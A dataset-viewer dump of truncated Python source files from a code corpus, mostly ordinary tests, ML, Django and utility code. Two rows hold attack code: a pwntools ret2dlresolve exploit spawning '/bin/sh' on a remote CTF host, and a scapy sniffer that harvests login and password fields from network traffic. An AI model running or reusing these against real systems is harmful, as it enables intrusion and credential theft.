id stringlengths 3 8 | content stringlengths 100 981k |
|---|---|
4847186 | import subprocess
from io import StringIO
import sys
import os
import unittest
os.chdir(sys.path[0])
class Test_init_script(unittest.TestCase):
def test_end_2_end(self):
print("> Running Js overrides")
res = subprocess.run(["python3", "../override-js.py",
"--iva-config-path",... |
4847237 | from pydantic import AnyUrl, BaseModel
__all__ = ("Thumb",)
class Thumb(BaseModel):
size: str
width: str
height: str
src: AnyUrl
|
4847263 | from pathlib import Path
from git import Repo
import os
from datetime import datetime
import subprocess
class Git:
def __init__(self, repo_root_path):
self.repo_root_path = repo_root_path
self.dotgit_path = os.path.join(repo_root_path, ".git/")
assert os.path.exists(self.dotgit_path), "Can... |
4847295 | import os
import torch
from src.common import (
add_key, coord2index
)
from src.training import BaseTrainer
import numpy as np
def get_crop_bound(inputs, input_crop_size, query_crop_size):
''' Divide a scene into crops, get boundary for each crop
Args:
inputs (dict): input point cloud
'''
... |
4847304 | import time
import wandb
from models.generators.calibration_nets.GeneralCalNet import GeneralCalNet
from models.discriminators.GeneralDiscriminator import GeneralDiscriminator
from models.generators.GeneralGenerator import GeneralGenerator
from models.losses.GeneralLoss import GeneralLoss
from models.losses.CalNetLoss ... |
4847342 | from typing import Optional
from jinja2 import Template
from loguru import logger
from feathr.frameconfig import HoconConvertible
class ObservationSettings(HoconConvertible):
"""Time settings of the observation data. Used in feature join.
Attributes:
observation_path: path to the observation dataset, ... |
4847345 | from unetschema.schema import B58_CHARS, ADDRESS_CHECKSUM_LENGTH
from unetschema.hashing import double_sha256
from unetschema.error import InvalidAddress
def b58decode(v):
long_value = 0L
for (i, c) in enumerate(v[::-1]):
long_value += B58_CHARS.find(c) * (58 ** i)
result = ''
while ... |
4847388 | import os, os.path
import itertools
import sys
import re
FORBIDDEN_EXTENSIONS = [
'.pyc', '.pyo', # Python bytecode
'.marks', # jEdit bookmark files
'.map', # Created automatically by the DMD compiler; needn't distribute.
'.swp', # Vim swap files
]
FORBIDDEN_DIRECTORIES = [
lambda d: d.lower() ... |
4847468 | from tests.constants import (
ETH_RESERVE,
HAY_RESERVE,
HAY_SOLD,
MIN_ETH_BOUGHT,
ETH_BOUGHT,
MAX_HAY_SOLD,
INITIAL_ETH,
DEADLINE,
ZERO_ADDR,
)
def test_swap_input(w3, HAY_token, HAY_exchange, swap_input, assert_fail):
a0, a1, a2 = w3.eth.accounts[:3]
ETH_PURCHASED = swap_in... |
4847486 | import numpy as np
from pygsti.optimize import optimize as opt
from ..util import BaseCase, needs_deap
class OptimizeTester(BaseCase):
def setUp(self):
self.f = lambda x: np.dot(x, x)
self.x0 = np.array([10, 5], 'd')
self.answer = np.array([0, 0], 'd')
def test_minimize_methods(self)... |
4847522 | import unittest
from chapter7.MarketSimulator import MarketSimulator
class TestMarketSimulator(unittest.TestCase):
def setUp(self):
self.market_simulator = MarketSimulator()
def test_accept_order(self):
self.market_simulator
order1 = {
'id': 10,
'price': 219,
... |
4847529 | import pytest
def pytest_configure(config):
# Register marks to avoid warnings in installed testing
# sync with setup.cfg
config.addinivalue_line("markers", "long")
config.addinivalue_line("markers", "dimers")
@pytest.fixture(scope="function", autouse=True)
def set_up():
import optking
optk... |
4847565 | def is_balanced(d, m):
if len(d) > 0 and d[0] == m:
return True
if len(d) > 1 and d[0] < m:
return is_balanced(d[1:], m) or is_balanced(d[1:], m - d[0])
for _ in xrange(int(raw_input())):
[n, m] = [int(i) for i in raw_input().split()]
d = []
for _ in xrange(n):
i = int(ra... |
4847583 | from dagster import pipeline
from dagstermill import define_dagstermill_solid
hello_world_notebook_solid = define_dagstermill_solid(
"hello_world_notebook_solid", "hello_world.ipynb"
)
@pipeline
def hello_world_notebook_pipeline():
hello_world_notebook_solid()
|
4847629 | import h5py
import numpy as np
from scipy.stats import multivariate_normal as norm
import matplotlib.pyplot as plt
from tqdm import tqdm
import seaborn as sns
# Setup logging env
import logging
LOG = logging.getLogger('GenerationAPI')
logging.basicConfig(
format='%(asctime)s %(message)s',
datefmt='%m/%d/%Y %... |
4847635 | import pandas as pd
import pymc3 as pm
import arviz as az
from arviz_json import get_dag, arviz_to_json
## data
DATAPATH='./data/evaluation_sleepstudy.csv'
reactions = pd.read_csv(DATAPATH,usecols=['Reaction','Days','Subject'])
## Drivers Reaction Times Hierarchical Model
samples = 2000
chains = 2
tune = 1000
## dat... |
4847691 | import flask
import time
server = flask.Flask(__name__)
@server.route('/')
def index():
return '''
<html>
<body>
<button id="button">Send my greetings</button>
</body>
<script type="text/javascript">
document.getElementById('button').onclick=function(){
... |
4847693 | import FWCore.ParameterSet.Config as cms
process = cms.Process("TestPhotonValidator")
process.load('Configuration/StandardSequences/GeometryPilot2_cff')
process.load("Configuration.StandardSequences.MagneticField_38T_cff")
process.load("Geometry.TrackerGeometryBuilder.trackerGeometry_cfi")
process.load("RecoTracker.Ge... |
4847707 | import rx
from rxbp.observable import Observable
from rxbp.observerinfo import ObserverInfo
from rxbp.observers.pairwiseobserver import PairwiseObserver
class PairwiseObservable(Observable):
def __init__(self, source):
self.source = source
def observe(self, observer_info: ObserverInfo) -> rx.typing.... |
4847715 | from pwn import *
p = remote("jh2i.com", 50032)
rop = ROP("bacon")
elf = ELF("bacon")
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
pause()
payload = b"A"*1036
payload += raw_rop
payload += dlresolve.pay... |
4847717 | import asyncio
import pytest
from pydf import AsyncPydf
from .utils import pdf_text
def test_async_pdf_gen():
apydf = AsyncPydf()
loop = asyncio.get_event_loop()
pdf_content = loop.run_until_complete(apydf.generate_pdf('<html><body>Is this thing on?</body></html>'))
assert pdf_content[:4] == b'%PD... |
4847730 | from setuptools import setup, find_packages
with open("requirements.txt") as f:
requirements = f.read().splitlines()
setup(
name='bayesianize',
version='0.0.1',
url='https://github.com/TODO',
author=['<NAME>', '<NAME>', '<NAME>', '<NAME>'],
description='Lightweight BNN wrapper for pytorch.',... |
4847804 | from scapy.all import *
from urllib import parse
iface = "en0"
conf.verb=0
def get_login_pass(body):
user = None
passwd = None
userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'use... |
4847834 | from unicon.plugins.iosxr.patterns import IOSXRPatterns
class IOSXRVPatterns(IOSXRPatterns):
def __init__(self):
super().__init__()
self.xr_admin_prompt = r'(^.*?)RP/\S+\(admin\)#\s?$'
|
4847846 | from PIL import Image
import math
import torch
from torch.nn import utils, functional as F
from torch.optim import Adam, SGD
from torch.backends import cudnn
from torchvision import transforms
from torch import nn
from networks.FeedBackNet import FBNet
from networks.FeedBackNet_Res18Fixed import FBNet as FBNet_Res18Fix... |
4847859 | from incuna_test_utils.compat import Python2AssertMixin
from incuna_test_utils.testcases.api_request import BaseAPIRequestTestCase
from incuna_test_utils.testcases.request import BaseRequestTestCase
from .factories import UserFactory
class APIRequestTestCase(Python2AssertMixin, BaseAPIRequestTestCase):
user_fact... |
4847874 | from django.contrib.auth import authenticate
from django.contrib.auth.models import User
from rest_framework.request import Request
from trench.exceptions import UnauthenticatedError, UserAccountDisabledError
from trench.settings import trench_settings
class AuthenticateUserCommand:
@staticmethod
def execut... |
4847891 | import sys
from .Unet import Unet
from .Unet3 import Unet3
from .U2net import U2net,U2netS,U2netM,U2netSP
from .UEfficientNet import UEfficientNetB4
from .UMFacenet2 import UMFacenet
from .SqueezeUNet import SqueezeUNet
from .mobilenet_v3 import MobileNetV3Small
from .deeplab_v3 import Deeplabv3
def build_mo... |
4847894 | import argparse
import glob
import os
import random
import sys
import torch
import numpy as np
sys.path.append("../utilities/")
from transformers import BertModel, BertTokenizer
from transformers import RobertaModel, RobertaTokenizer
from train import model_main
from model_utils_span import BERT_prepare_data
from model... |
4847903 | import datetime
import decimal
import re
import uuid
# From https://github.com/fuhrysteve/marshmallow-jsonschema/blob/master/marshmallow_jsonschema/base.py
TYPE_MAP = {
dict: {
'type': 'object',
},
list: {
'type': 'array',
},
datetime.time: {
'type': 'string',
'forma... |
4847931 | import logging
import colorlog
def create_logger(name, color='reset', log_level=logging.INFO, log_colors={
'DEBUG': 'white',
'INFO': 'white',
'WARNING': 'red',
'ERROR': 'red',
'CRITICAL': 'red,bg_white',
}):
handler = colorlog.StreamHandler()
handler.setFormatter(color... |
4847945 | from ramda import *
from ramda.private.asserts import *
def add10(x):
return x + 10
def double(x):
return x * 2
def sub2(x):
return x - 2
def pipe_test():
piped = pipe(sub2, double, add10)
assert_equal(piped(100), (100 - 2) * 2 + 10)
|
4847980 | import torch
import math
import random
from PIL import Image, ImageOps
try:
import accimage
except ImportError:
accimage = None
import numpy as np
import numbers
import types
import collections
class RandomScale(object):
"""Rescale the input PIL.Image to the given size.
Args:
size (sequence or... |
4847990 | import os
import os.path as osp
import sys
import torch
import torch.utils.data as data
import torchvision.transforms as transforms
import cv2
import numpy as np
from .config import cfg
from pycocotools import mask as maskUtils
import contextlib
import io
import logging
import time
def get_label_map():
if cfg.dat... |
4848001 | def test_flush():
from mpi4jax import has_cuda_support
assert isinstance(has_cuda_support(), bool)
|
4848031 | from forte.huggingface import ZeroShotClassifier
from forte.stanza import StandfordNLPProcessor
from forte import Pipeline
from forte.data.readers import TerminalReader
from forte.processors.stave import StaveProcessor
nlp = Pipeline()
nlp.set_reader(TerminalReader())
nlp.add(StandfordNLPProcessor())
nlp.add(
Zer... |
4848038 | import os
from typing import Mapping, Set, Type
from mariner.file_formats import SlicedModelFile
from mariner.file_formats.ctb import CTBFile
from mariner.file_formats.cbddlp import CBDDLPFile
from mariner.file_formats.fdg import FDGFile
from mariner.file_formats.photon import PhotonFile
EXTENSION_TO_FILE_FORMAT: Ma... |
4848077 | from .modeling import WEIGHTS_NAME, CONFIG_NAME, BertConfig, BertPreTrainedModel, BertModel
from .tokenization import BertTokenizer, VOCAB_NAME
from .optimization import BertAdam, warmup_linear
from .schedulers import LinearWarmUpScheduler, PolyWarmUpScheduler
from .utils import is_main_process |
4848078 | from django.shortcuts import render
from django.views.generic.base import View
from onvif import ONVIFCamera
from django.shortcuts import redirect
from django.shortcuts import render, render_to_response
import os
from django.template import RequestContext
from onvifApp.settings import BASE_DIR
from camera.models import... |
4848107 | import importlib
import os
from functools import lru_cache
from django.core.exceptions import ValidationError
from django.utils.translation import ugettext_lazy as _
from orchestra import plugins
from orchestra.plugins.forms import PluginDataForm
from orchestra.utils.python import import_class
from .. import setting... |
4848113 | def pegaDados(lista, ordinal):
for n in range(1, 11):
lista.append(int(input(f'Digite o {n}° elemento da {ordinal}° lista: ')))
print('=' * 40)
n1 = list()
n2 = list()
n3 = list()
n4 = list()
pegaDados(n1, 1)
pegaDados(n2, 2)
pegaDados(n3, 3)
for n in range(0, 10):
n4.append(n1[n])
n4.append(n... |
4848169 | from flask import Flask
from flask_migrate import Migrate, MigrateCommand
from flask_mail import Mail, Message
from flask_sqlalchemy import SQLAlchemy
from flask_script import Manager, Command, Shell
from flask_login import LoginManager
import os, config
# initializes extensions
db = SQLAlchemy()
mail = Mail()
migrate... |
4848203 | registered = {}
registered_lock = {}
def register(f=None, lock=True):
"""Decorator to add the function to the cronjob library.
@cronjobs.register
def my_task():
print('I can be run once/machine at a time.')
@cronjobs.register(lock=False)
def my_task():
prin... |
4848229 | import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
import pytest
class ParameterServerMock(BaseHTTPRequestHandler):
""" mock server for unittest
Parameter Server API: http://wiki.ros.org/ROS/Parameter%20Server%20API
Master Slave APIs: http://wiki.ros.org/ROS/Master_Slave_APIs
... |
4848245 | x_pred = np.zeros((1, Ns+1, Nv))
print("step 0")
x_pred[0,0,char_to_int["START"]] =1
letter_start = "I"
i_letter_start = char_to_int[letter_start]
x_pred[0,1,i_letter_start] =1
x_pred_str = decode_sequence(x_pred[0], int_to_char)
print(x_pred_str)
for i in range(1,Ns):
x_tensor = convert_to_tensor(x_pred[:,:i+1,:... |
4848254 | from entitykb.graph.patterns import PatternIndex
from entitykb.models import Pattern
def test_pattern_index(root):
index = PatternIndex(root=root)
p1 = Pattern(
pipeline="default",
label="TEST",
key="a b",
composite_fields=["one", "two"],
)
index.save(p1)
p2 = Pat... |
4848296 | import unittest
from collections import OrderedDict
from mock import MagicMock, call, patch
from malcolm.core import Error, Method
from malcolm.modules.pva.controllers import BlockHandler, PvaServerComms
class TestBlockHandler(unittest.TestCase):
def setUp(self):
self.controller_mock = MagicMock(name="c... |
4848300 | from .api import *
from .all import *
from .parsing import *
from .crawler import *
from .moderatorium import *
from .downloader import *
from .issues import *
from .pipeline import *
from .preview import *
from .vcs import *
from .registration import *
from .tasks import *
from .version import *
from .validators impor... |
4848303 | import math
import os
from functools import partial
from ruamel.yaml import YAML
import nemo
import nemo.collections.asr as nemo_asr
from nemo.utils.lr_policies import CosineAnnealing
from nemo.collections.asr.helpers import (
monitor_classification_training_progress,
process_classification_evaluation_batch,
... |
4848348 | import os
import re
import tqdm
import copy
import json
import torch
import string
import random
import sqlite3
import preprocess
import subprocess
import editsql_postprocess
import numpy as np
import embeddings as E
from eval_scripts import evaluation
from vocab import Vocab
from torch import nn
from torch.nn import f... |
4848355 | from django.db import models
from partners.models import Partner
class Project(models.Model):
uid = models.AutoField(primary_key=True)
name = models.CharField(max_length=64)
description = models.TextField(blank=True)
partner = models.ForeignKey(
Partner, on_delete=models.SET_NULL, blank=True,... |
4848359 | class DataGridRowEventArgs(EventArgs):
"""
Provides data for the System.Windows.Controls.DataGrid.LoadingRow and System.Windows.Controls.DataGrid.UnloadingRow events.
DataGridRowEventArgs(row: DataGridRow)
"""
@staticmethod
def __new__(self,row):
""" __new__(cls: type,row: DataGridRow) """
pass... |
4848361 | import demistomock as demisto # noqa: F401
from CommonServerPython import * # noqa: F401
devprod = False
devprodmode = False
ver = False
git = False
res = demisto.executeCommand('getFilePath', {'id': demisto.args()['entryID']})
if res[0]['Type'] == entryTypes['error']:
demisto.results('File not found')
try:
... |
4848386 | test_lang_templates = (
"""
# This file is automatically generated by EBNFParser.
import argparse, json
cmd_parser = argparse.ArgumentParser(description='test language parsers swiftly.')
cmd_parser.add_argument("parser", type=str,
help='What kind of parser do you want to test with?(e.g Stmt,... |
4848419 | try:
from django.urls import path
except ImportError:
from django.conf.urls import url
path = None
from wq.db import rest
from tests.patterns_app.views import FilterableView
from .settings import WITH_NONROOT
if WITH_NONROOT:
base_url = 'wqsite/'
else:
base_url = ''
if path:
urlpatterns = [... |
4848421 | import numpy as np
#from scipy.optimize import minimize_scalar
#from pysal.cg.sphere import geointerpolate, arcdist
import warnings
def _bin_phydim(dr, dim_name, bin_bound, bin_center, stacked_dim_name):
"""Binning over a physical dimension, weighted by area. Internal function
for taking zonal or meridonal a... |
4848447 | from typing import Literal, Optional
from pydantic import BaseModel
class Token(BaseModel):
access_token: str
token_type: Literal["bearer"]
class TokenPayload(BaseModel):
user_id: Optional[int]
|
4848454 | import numpy as np
from PyAstronomy.pyaC import pyaErrors as PE
class BallesterosBV_T:
"""
Black-body based conversion between effective temperature and B-V color.
Ballesteros 2012 (EPL 97, 34008) present a conversion between
effective temperature and B-V color index based on a black body
spectr... |
4848459 | import sys
import os
import zipfile
output_folder = sys.argv[1]
zip_path = sys.argv[2]
build_path = os.path.join( output_folder, 'build.xml' )
anim_path = os.path.join( output_folder, 'animation.xml' )
image_list_path = os.path.join( output_folder, 'images.lst' )
zip = zipfile.ZipFile(zip_path, 'w')
zip.wr... |
4848501 | import argparse
from datetime import datetime
from gym_plark.envs import plark_env, plark_env_non_image_state
import helper
import logging
import os
from stable_baselines.common.vec_env import SubprocVecEnv
from tensorboardX import SummaryWriter
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__nam... |
4848519 | import os
from random import shuffle
import pytest
from epo_ops.api import Client
from epo_ops.middlewares.throttle.utils import URLPATTERNS, service_for_url
@pytest.fixture
def urls():
test_urls = [
(os.path.join(Client.__service_url_prefix__, path, "xxx"), service)
for path, service in URLPATT... |
4848574 | import sys
import os
try:
from setuptools import setup
except ImportError:
print("Distribute is required for install:")
print(" http://python-distribute.org/distribute_setup.py")
sys.exit(1)
from evepaste import __version__
description = ("A Python library to help parse various things that are "
... |
4848582 | import numpy as np
from keras import Sequential
from keras.callbacks import ModelCheckpoint
from keras.layers import Conv2D, Activation, MaxPooling2D, Dropout, Flatten, Dense
from keras.utils import np_utils
from sklearn.model_selection import train_test_split
from keras.utils.vis_utils import plot_model
from keras_vi... |
4848588 | from albumentations import (
HorizontalFlip,
VerticalFlip,
IAAPerspective,
ShiftScaleRotate,
CLAHE,
RandomRotate90,
Transpose,
ShiftScaleRotate,
Blur,
OpticalDistortion,
GridDistortion,
HueSaturationValue,
IAAAdditiveGaussianNoise,
GaussNoise,
MotionBlur,
... |
4848655 | from ud_helper import d
import ud_helper as helper
from ud_helper import *
try:
import __builtin__ as B
except:
import builtins as B
defined = 2
#Monkey patch some builtins
B.__dict__["monkey1"] = 1
setattr(B, "monkey2", 2)
B.monkey3 = 3
def f(parameter):
parameter
local = 3
local
d # Explicitl... |
4848667 | import fnmatch
import json
import os
import subprocess
from fetchai.ledger.crypto import Entity
class Instance(object):
def __init__(self, cmd, root):
self._root = root
self._exit_code = None
self._cmd = cmd
self._log_path = os.path.join(root, 'node.log')
self._logfile = No... |
4848699 | import numpy as np
from .bridge import bridge
from .importance import importance
from .harmonic import harmonic
from ..utils.parallel import ParallelBackend, get_backend
from ..transforms import SIT
from ..samplers import TraceTuple
from threadpoolctl import threadpool_limits
import warnings
__all__ = ['GBS', 'GIS', '... |
4848750 | import pytest
from patent_client.parser import parse
class TestPatentNumberParser:
def test_can_handle_integer_values(self):
pat = parse(6013599)
assert pat.number == "6013599"
assert pat.country == "US"
assert pat.kind_code == "B2"
assert pat.display() == "US 6,013,599 B2"... |
4848760 | import tensorflow as tf
from seq2annotation.algorithms.model import Model
class IdcnnCrfModel(Model):
@classmethod
def default_params(cls):
default_params = {
'filter_width': 2,
'num_filter': 100,
'repeat_times': 4,
'layers': [
{
... |
4848782 | from __future__ import absolute_import
from exkaldi.hmm import hmm
from exkaldi.hmm.hmm import load_hmm
from exkaldi.hmm.hmm import load_tree
from exkaldi.hmm.hmm import load_mat |
4848788 | import codecs
import os
import re
from setuptools import setup
with open(os.path.join(os.path.dirname(__file__), 'README.md')) as readme:
README = readme.read()
here = os.path.abspath(os.path.dirname(__file__))
# allow setup.py to be run from any path
os.chdir(os.path.normpath(os.path.join(os.path.abspath(__fil... |
4848794 | import pytest
from adventofcode.year_2021.day_06_2021 import part_two, part_one, Fish, get_starting_fish, iterate_day, \
count_fish_faster, count_fish_after_days
test_input = [
'3,4,3,1,2',
]
def test_get_starting_fish():
fish = [Fish(3), Fish(4), Fish(3), Fish(1), Fish(2)]
assert list(get_starting_... |
4848837 | import re
def match(rx, text):
if text is None:
return False
return re.search(rx, text)
|
4848844 | import asyncio
import logging
import os
import shutil
import subprocess
import tempfile
from contextlib import contextmanager
from enum import Enum
from importlib import resources
from pathlib import Path
from typing import Any, Callable, Generator, TypedDict, cast
import urllib3
from jinja2 import Template
from kuber... |
4848891 | import os, sys
sys.path.append('/Applications/Mitsuba.app/python/2.7')
os.environ['PATH'] = 'path-to-mitsuba-directory' + os.pathsep + os.environ['PATH']
import mitsuba
from mitsuba.core import *
from mitsuba.render import SceneHandler
from mitsuba.render import RenderQueue, RenderJob
import multiprocessing
fileResolv... |
4848919 | import torch
from .two_stage import TwoStageDetector
from ..registry import DETECTORS
from mmdet.core import bbox2roi, build_assigner, build_sampler
@DETECTORS.register_module
class DoubleHeadRCNN(TwoStageDetector):
def __init__(self, reg_roi_scale_factor, **kwargs):
super().__init__(**kwargs)
s... |
4848934 | import sys
import pickle
import os
import random
#Generate a random loss function
print(str(sys.argv))
print(random.uniform(0,1))
|
4848936 | import os
import pickle
import numpy as np
import torch.nn as nn
import torch
import math
import random
NEAR_INF = 1e20
NEAR_INF_FP16 = 65504
def set_random_seed(random_seed):
random.seed(random_seed)
np.random.seed(random_seed)
torch.manual_seed(random_seed)
torch.cuda.manual_seed(random_seed)
tor... |
4848961 | import datetime
import wrapcache
import TickerConfig
from config.urlConf import urls
from inter.ConfirmHB import confirmHB
class passengerInitApi:
def __init__(self, session, secretList, tickerNo):
"""
获取候补信息
"""
self.secretList = secretList
self.tickerNo = tickerNo
... |
4848966 | import pytest
import responses
from toucan_connectors.json_wrapper import JsonWrapper
from toucan_connectors.rok.rok_connector import (
InvalidAuthenticationMethodError,
InvalidJWTError,
InvalidUsernameError,
NoROKSecretAvailableError,
RokConnector,
RokDataSource,
)
endpoint = 'https://rok.exa... |
4848986 | import numpy as np
import os
import json
in_path = "./raw_data/"
out_path = "./data"
case_sensitive = False
if not os.path.exists('./data'):
os.mkdir('./data')
train_file_name = in_path + 'train.json'
test_file_name = in_path + 'test.json'
word_file_name = in_path + 'word_vec.json'
rel_file_name = in_path + 'rel2id.j... |
4849004 | import base64
from graphql import GraphQLResolveInfo, GraphQLError
import frappe
class CursorPaginator(object):
def __init__(
self,
doctype,
filters=None,
skip_process_filters=False,
count_resolver=None,
node_resolver=None,
defau... |
4849125 | import argparse
import sys
from sridentify import Sridentify
parser = argparse.ArgumentParser(
description="Identify an EPSG code from a .prj file",
)
parser.add_argument(
'prj',
help="The .prj file"
)
parser.add_argument(
'-n',
'--no-remote-api',
action='store_false',
dest='call_remote_ap... |
4849183 | import unittest
import numpy as np
import fastpli.objects
import fastpli.tools
class MainTest(unittest.TestCase):
def setUp(self):
self.fiber = fastpli.objects.Fiber([[0, 0, 0, 1], [1, 1, 1, 2]])
self.fiber_bundle = fastpli.objects.FiberBundle(self.fiber.copy())
self.fiber_bundles = fast... |
4849194 | import sys
sys.path.insert(0, "dependencies")
import logging
import json
import xml.sax
from utilities import (
fetch_campaign,
campaign_path,
to_piechart,
download_overpass_file,
save_data
)
from parser import CountFeatureParser
from aws import S3Data
logger = logging.getLogger()
logger.setLevel(... |
4849265 | import datetime
import dateutil
import logging
from flask import request
from flask import redirect
from flask import url_for
from flask import jsonify
from metadataproxy import app
from metadataproxy import roles
log = logging.getLogger(__name__)
@app.route(
'/<api_version>'
)
def root_noslash(api_version):
... |
4849283 | import os
import sys
import numpy as np
import argparse
from mdp import shortestpath
from models.utils.utils import *
from models.utils.plotutils import *
from models.irl.algo import value_iteration
from models.behavior_clone.mmc_predictor import MMC_predictor
from models.behavior_clone.rnn_predictor import *
# sys.... |
4849302 | from __future__ import absolute_import
import autograd.scipy.misc as asm
import autograd.numpy as anp
def make_fwd_grad_logsumexp(g, ans, gvs, vs, x, axis=None, b=1.0, keepdims=False):
if not keepdims:
if isinstance(axis, int):
ans = anp.expand_dims(ans, axis)
elif isinstance(axis, tup... |
4849336 | from scrounger.core.module import BaseModule
# helper functions
from scrounger.utils.general import execute
from scrounger.utils.config import Log
class Module(BaseModule):
meta = {
"author": "RDC",
"description": "Pulls the application's data from a remote device",
"certainty": 100
}
... |
4849357 | import os
import csv
import wave
import evfuncs
import numpy as np
import scipy.io
from ..koumura import parse_xml
# fields that must be present for each syllable that is annotated.
# these field names are used below by annot_list_to_csv and csv_to_annot_list
# but defined at top-level of the module, since these fie... |
4849371 | import shutil
from ..error_state import HasErrorState
from ...lib.ci_exception import CiException
from ...lib.utils import make_block
from ..project_directory import ProjectDirectory
__all__ = [
"BaseDownloadVcs",
"BaseSubmitVcs",
"BasePollVcs"
]
class BaseVcs(ProjectDirectory):
"""
Base class f... |
4849378 | def get_batch_idx(N, batch_size):
num_batches = (N + batch_size - 1) / batch_size
for i in range(num_batches):
start, end = i * batch_size, (i + 1) * batch_size
idx = slice(start, end)
yield idx
if __name__ == '__main__':
import numpy as np
X = np.random.random((14, 4))
p... |
4849381 | import sublime, sublime_plugin
import re
import webbrowser
class OpenHelpCommand(sublime_plugin.TextCommand):
def run(self, edit):
region = self.view.sel()[0]
if (region.size() > 0):
func = self.view.substr(region)
else:
func = self.view.substr(self.view.word(region))
# clean it up a little
func = re... |
4849407 | import urllib3
import isi_sdk_8_0 as isi_sdk
import test_constants
urllib3.disable_warnings()
def main():
# configure username and password
configuration = isi_sdk.Configuration()
configuration.username = test_constants.USERNAME
configuration.password = test_constants.PASSWORD
configuration.ver... |
4849409 | from .local_energy import ExactLocalEnergy
from .machine_updated import MachineUpdated
from .observable import ExactObservableCallback
from .runtime_stats import RuntimeStats
from .sigma_z import ExactSigmaZ
def default_wave_function_callbacks_factory(generator, true_ground_state_energy=None, log_in_batch_or_epoch=Tr... |
4849424 | from process import Image
from PyQt5 import QtCore, QtGui, QtWidgets
import browser
import canvas
import configparser
import cursor
import numpy as np
import os
import profile_chart
import properties
import time
class Window(QtWidgets.QMainWindow):
#Public Signals
FILE_OPENED = QtCore.pyqtSignal(str)
IMG_... |
4849425 | from dal.models import Api
import datetime
class ApiDao:
@staticmethod
def create(model):
api = Api.objects.create(path=model.path,
method=model.method,
name=model.name,
note=model.note,
... |
4849428 | from . import views
def register_in(router):
router.register(
r'digitalocean-images', views.ImageViewSet, basename='digitalocean-image'
)
router.register(
r'digitalocean-regions', views.RegionViewSet, basename='digitalocean-region'
)
router.register(
r'digitalocean-sizes', ... |
4849435 | import mahotas as mh
import numpy as np
import math
from scipy.ndimage.interpolation import rotate as scipy_rotate
# https://stackoverflow.com/questions/26598109/preserve-custom-attributes-when-pickling-subclass-of-numpy-array
class BinaryImage(np.ndarray):
"""
Binary image data class.
Attribu... |
4849463 | import torch
from allennlp.common.testing import (
AllenNlpTestCase,
global_distributed_metric,
run_distributed_test,
)
from allennlp_models.coref.metrics.mention_recall import MentionRecall
class MentionRecallTest(AllenNlpTestCase):
def test_mention_recall(self):
metric = MentionRecall()
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.